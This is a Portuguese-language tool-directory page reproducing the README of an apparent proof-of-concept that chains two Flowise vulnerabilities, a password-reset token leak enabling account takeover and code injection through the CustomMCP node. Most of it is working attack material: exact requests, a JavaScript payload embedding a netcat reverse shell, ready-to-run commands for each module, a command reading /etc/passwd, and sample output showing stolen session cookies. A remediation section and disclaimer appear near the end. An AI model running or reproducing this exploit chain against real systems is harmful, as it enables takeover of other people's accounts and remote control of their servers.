Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-58434-AND-59528-POC — PoC modular para CVE-2025-58434 (tomada de conta) e CVE-2025-59528 (RCE) no Flowise. Automatiza toda a cadeia de ataque, desde o vazamento de token não autenticado até a execução remota de código via reverse shell ou comando personalizado. | Kitploit
Ferramentas/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

PoC modular para CVE-2025-58434 (tomada de conta) e CVE-2025-59528 (RCE) no Flowise. Automatiza toda a cadeia de ataque, desde o vazamento de token não autenticado até a execução remota de código via reverse shell ou comando personalizado.

Ver Repositório
192há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Apenas para fins educacionais e pesquisa de segurança autorizada.
Executar esta ferramenta contra sistemas que você não possui ou sem permissão escrita para testar é ilegal.


Índice

  • Visão Geral
  • Detalhes das Vulnerabilidades
    • CVE-2025-58434 — Tomada de Conta
    • CVE-2025-59528 — Execução Remota de Código
  • Cadeia de Ataque Completa
  • Versões Afetadas
  • Estrutura do Repositório
  • Requisitos
  • Instalação
  • Uso
    • Comportamento Padrão
    • Tela de Ajuda
    • Modo Cadeia
    • Módulo — ATO
    • Módulo — Login
    • Módulo — RCE
  • Referência de Flags
  • Reverse Shell vs Comando Personalizado
  • Exemplo de Saída
  • Remediação
  • Linha do Tempo de Divulgação
  • Referências
  • Aviso Legal

  • Visão Geral

    Este repositório combina duas vulnerabilidades críticas no Flowise em uma única ferramenta de PoC modular.

    CVE-2025-58434CVE-2025-59528
    TipoTomada de ContaExecução Remota de Código
    Autenticação NecessáriaNenhumaSim (qualquer conta válida)
    CVSS9.8 CríticoCrítico
    AfetadosNuvem + Self-hostedSelf-hosted

    As duas vulnerabilidades se encadeiam naturalmente: a CVE-2025-58434 fornece tomada de conta não autenticada, o que satisfaz o requisito de autenticação da CVE-2025-59528 — alcançando RCE não autenticada em uma única execução automatizada.


    Detalhes das Vulnerabilidades

    CVE-2025-58434 — Tomada de Conta

    Causa raiz: O endpoint forgot-password retorna o token de redefinição de senha (tempToken) diretamente no corpo da resposta HTTP, em vez de enviá-lo apenas por e-mail.

    Etapas do ataque:

    1. POST /api/v1/account/forgot-password com qualquer e-mail registrado
    2. Leia o tempToken da resposta JSON — sem precisar acessar o e-mail
    3. POST /api/v1/account/reset-password com o token vazado → defina uma nova senha
    4. Faça login como a vítima

    Resposta vazada (resumida):

    root@kitploit:~
    {
      "user": {
        "email": "[email protected]",
        "tempToken": "LEAKED_TOKEN_HERE",
        "tokenExpiry": "2025-08-19T13:00:33.834Z",
        "status": "active"
      }
    }
    

    CVE-2025-59528 — Execução Remota de Código

    Causa raiz: O nó CustomMCP passa o mcpServerConfig fornecido pelo usuário diretamente para o construtor Function() do JavaScript, sem sanitização. Como o Flowise roda em Node.js, o código injetado tem acesso total a child_process, fs e todos os módulos nativos do Node.js.

    Caminho de código vulnerável:

    root@kitploit:~
    POST /api/v1/node-load-method/customMCP
      -> convertToValidJSONString()
        -> Function('return ' + mcpServerConfig)()   ← entrada de usuário não sanitizada
    

    Cabeçalhos necessários:

    root@kitploit:~
    Content-Type:   application/json
    x-request-from: internal
    Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
    

    Payload de injeção padrão (reverse shell):

    root@kitploit:~
    {
      "loadMethod": "listActions",
      "inputs": {
        "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
      }
    }
    

    Nota: Os payloads de reverse shell usam cp.exec() (assíncrono / fire-and-forget) para que a requisição HTTP retorne imediatamente e a ferramenta não sofra timeout. Comandos comuns usam cp.execSync() e retornam a saída inline.


    Cadeia de Ataque Completa

    root@kitploit:~
    Attacker                              Flowise API
       │                                      │
       │  [CVE-2025-58434]                    │
       │  POST /forgot-password {email}       │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 { tempToken: "abc..." }         │  ← token leaked in response
       │                                      │
       │  POST /reset-password                │
       │  {email, tempToken, newPassword}     │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 OK (tempToken cleared)          │  ← ATO complete
       │                                      │
       │  [CVE-2025-59528]                    │
       │  POST /auth/login {email, newPass}   │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  200 OK + Set-Cookie: token=...      │  ← cookies extracted
       │                                      │
       │  POST /node-load-method/customMCP    │
       │  {mcpServerConfig: <js-revshell>}    │
       │─────────────────────────────────────►│
       │                              [exec() fires in background]
       │◄─────────────────────────────────────│
       │  200 {"shell_fired"}                 │
       │                                      │
       Attacker's nc listener ←─────────────── Server connects back
       ✓  Full RCE from zero credentials
    

    Versões Afetadas

    ComponenteStatus
    Flowise Cloud (cloud.flowiseai.com)Afetado pela CVE-2025-58434
    Flowise self-hosted (todas as versões anteriores ao patch)Afetado por ambas as CVEs

    Consulte os avisos de segurança oficiais do Flowise para os números das versões corrigidas.


    Estrutura do Repositório

    root@kitploit:~
    flowise-dual-cve-poc/
    ├── flowise_poc.py      # Main PoC — all modules + chain mode
    ├── requirements.txt    # Python dependencies
    ├── README.md           # This file
    └── DISCLAIMER.md       # Full legal notice
    

    Requisitos

    • Python 3.7+
    • Biblioteca requests

    Instalação

    root@kitploit:~
    git clone https://github.com/yourhandle/flowise-dual-cve-poc
    cd flowise-dual-cve-poc
    pip install -r requirements.txt
    

    Uso

    Comportamento Padrão

    Nenhuma flag de modo é necessária. Se você executar o script sem --chain ou --module, ele roda automaticamente no modo de cadeia completo. O payload de RCE padrão é um reverse shell — basta fornecer --lhost e --lport.

    root@kitploit:~
    # Minimal invocation — full chain + reverse shell
    python3 flowise_poc.py \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 \
      --lport 4444
    

    Inicie seu listener antes de executar:

    root@kitploit:~
    nc -lvnp 4444
    

    Tela de Ajuda

    root@kitploit:~
    python3 flowise_poc.py -h
    

    Modo Cadeia

    Executa todas as quatro etapas de ponta a ponta: vazar token → redefinir senha → login → RCE.

    root@kitploit:~
    # Reverse shell (default payload)
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 --lport 4444
    
    # Custom command instead of reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -c "cat /etc/passwd"
    
    # Custom ATO password + reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "MyCustomPass1!" \
      --lhost 10.10.16.35 --lport 9001
    

    Módulo — ATO

    Vaza o tempToken e redefine a senha da conta. Para antes do login/RCE.

    root@kitploit:~
    # Default new password
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected]
    
    # Custom new password
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "NewPassword2025!"
    
    # Print raw JSON response
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] --json-output
    

    Módulo — Login

    Autentique-se e extraia os três cookies de sessão para uso manual.

    root@kitploit:~
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123"
    
    # JSON output for scripting
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123" --json-output
    

    Módulo — RCE

    Executa no servidor. Faz login automático se --token não for fornecido.

    root@kitploit:~
    # Reverse shell — auto-login
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      --lhost 10.10.16.35 --lport 4444
    
    # Custom command — auto-login
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      -c "id"
    
    # Manual token — reverse shell
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
      --lhost 10.10.16.35 --lport 4444
    
    # All three cookies manually
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGci..." \
      --refresh-token "eyJhbGci..." \
      --connect-sid "s%3A4rey2nuk..." \
      -c "ls /root"
    

    Referência de Flags

    Modo (todos opcionais — o padrão é --chain)

    FlagDescrição
    --chainCadeia completa: ATO → Login → RCE
    --module atoSomente tomada de conta
    --module loginSomente login e extração de cookies
    --module rceSomente RCE

    Alvo

    FlagCurtaDescriçãoObrigatória
    --url-uURL base da instância do FlowiseSempre
    --email-eE-mail alvo / de loginSempre

    Opções de ATO

    FlagCurtaDescriçãoPadrão
    --new-password-pSenha definida na conta da vítima após o ATOFlowise@Pwn3d2025!

    Opções de Autenticação

    FlagCurtaDescrição
    --login-password-PSenha para o módulo de login / login automático do RCE
    --token—Fornecer manualmente o cookie token (pula o login)
    --refresh-token—Fornecer manualmente o cookie refreshToken
    --connect-sid—Fornecer manualmente o cookie connect.sid

    Opções de RCE

    FlagCurtaDescriçãoPadrão
    --lhost—IP do atacante para o reverse shell—
    --lport—Porta do atacante para o reverse shell—
    --command-cComando de SO personalizado (substitui o revshell)id se não houver lhost/lport

    Diversos

    FlagCurtaDescriçãoPadrão
    --timeout-tTimeout HTTP (segundos)15
    --json-output-jExibir respostas JSON brutasfalse

    Reverse Shell vs Comando Personalizado

    O script escolhe automaticamente o modo de execução correto:

    CenárioPayload usadoComportamento HTTP
    --lhost + --lport (sem -c)one-liner netcat mkfifocp.exec() — assíncrono, retorna imediatamente
    -c "..." contendo nc/mkfifo/bash -idetectado como revshellcp.exec() — assíncrono, retorna imediatamente
    -c "id" ou qualquer outro comando normalcomando do usuáriocp.execSync() — bloqueia, retorna a saída
    sem -c, sem --lhostidcp.execSync() — bloqueia, retorna a saída

    A execução assíncrona significa que a requisição HTTP é concluída instantaneamente — sem erros de timeout em payloads de reverse shell.


    Exemplo de Saída

    root@kitploit:~
      [Step 1] [CVE-2025-58434] Requesting forgot-password token ...
      [*] HTTP 201
      ────────────────────────────────────────────────────────────────────
        LEAKED ACCOUNT DATA
      ────────────────────────────────────────────────────────────────────
      tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
      tokenExpiry   : 2026-04-13T05:14:17.621Z
      ────────────────────────────────────────────────────────────────────
      [+] VULNERABLE — token disclosed without authentication!
    
      [Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
      [*] HTTP 201
      [+] Password reset SUCCESSFUL (tempToken cleared)
      [+] Account takeover complete → [email protected] / Flowise@Pwn3d2025!
    
      [Step 3] [Auth] Logging in to extract session cookies ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        EXTRACTED SESSION COOKIES
      ────────────────────────────────────────────────────────────────────
      token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
      ────────────────────────────────────────────────────────────────────
    
      [Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        RCE RESULT
      ────────────────────────────────────────────────────────────────────
      Mode    : Reverse Shell
      LHOST   : 10.10.16.35
      LPORT   : 4444
      [+] Reverse shell payload fired!
      [!] Waiting for connection on 10.10.16.35:4444 ...
      [!] Make sure your listener is running: nc -lvnp 4444
      ────────────────────────────────────────────────────────────────────
      [+] CHAIN COMPLETE
    

    Remediação

    Para CVE-2025-58434

    • Nunca retorne tokens em respostas de API. Envie o tempToken somente por e-mail registrado.
    • Retorne uma mensagem de sucesso genérica independentemente de o e-mail existir (impede enumeração).
    • Torne os tokens de uso único, com validade curta (≤15 min) e vinculados ao contexto da requisição.
    • Limite a taxa (rate-limit) do endpoint forgot-password.

    Para CVE-2025-59528

    • Nunca passe entrada do usuário para Function(), eval() ou vm.runInThisContext().
    • Analise o mcpServerConfig apenas como dados (ex.: JSON.parse()) — nunca o execute.
    • Se a avaliação dinâmica for necessária, use um sandbox isolado com contexto restrito.
    • Aplique validação rigorosa de entrada e uma lista de permissões (allowlist) das chaves de configuração permitidas.

    Geral

    • Corrija as implantações cloud e self-hosted.
    • Habilite logging e alertas nos endpoints de redefinição de senha e node-load-method.
    • Considere MFA para todas as contas de administrador.

    Linha do Tempo de Divulgação

    DataEvento
    2025-08-19CVE-2025-58434 descoberta e reportada
    TBDCVE-2025-59528 descoberta e reportada
    TBDReconhecimento do fornecedor
    TBDPatch lançado
    TBDDivulgação pública

    Referências

    • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
    • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
    • Flowise GitHub
    • CWE-640: Mecanismo Fraco de Recuperação de Senha
    • CWE-94: Controle Incorreto da Geração de Código

    Aviso Legal

    Apenas para fins educacionais e testes de penetração autorizados.
    Consulte DISCLAIMER.md para o aviso legal completo.

    Baixar ferramenta